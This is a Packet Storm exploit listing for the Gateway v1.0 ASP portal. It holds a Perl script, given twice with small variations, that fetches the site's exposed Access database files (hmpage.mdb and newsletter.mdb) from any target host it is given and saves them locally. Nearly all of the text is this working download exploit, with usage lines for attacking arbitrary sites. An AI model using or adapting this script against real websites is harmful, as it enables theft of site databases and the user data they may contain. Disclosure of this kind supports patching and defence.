Gateway 1.0 Database Disclosure

2018-02-04T00:00:00
ID PACKETSTORM:146275
Type packetstorm
Reporter indoushka
Modified 2018-02-04T00:00:00

Description

                                        
                                            `========================================================================  
| # Title : gateway v1.0 Database Disclosure Exploit  
| # Author : indoushka  
| # email : indoushka4ever@gmail.com  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : v1.0  
| # Vendor : http://wmscripti.com/asp-scriptler/gateway-portal-scripti.html  
========================================================================  
  
#!/usr/bin/perl -w  
# Author : indoushka  
  
use LWP::Simple;  
use LWP::UserAgent;  
  
system('cls');  
system('gateway v1.0 Database Disclosure Exploit');  
system('color a');  
  
  
if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;  
  
$File="datastores/hmpage.mdb";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";  
  
my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/hmpage.mdb");  
  
if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/hmpage.mdb\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}  
  
Greetz : ---------------------------------------------------------------  
|  
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |  
|  
===================== packet storm security ===========================  
  
#!/usr/bin/perl -w  
# Author : indoushka  
  
use LWP::Simple;  
use LWP::UserAgent;  
  
system('cls');  
system('gateway v1.0 Database Disclosure Exploit');  
system('color a');  
  
  
if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;  
  
$File="datastores/newsletter.mdb";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";  
  
my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/newsletter.mdb");  
  
if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/newsletter.mdb\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}  
  
Greetz : ---------------------------------------------------------------  
|  
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |  
|  
===================== packet storm security ===========================  
`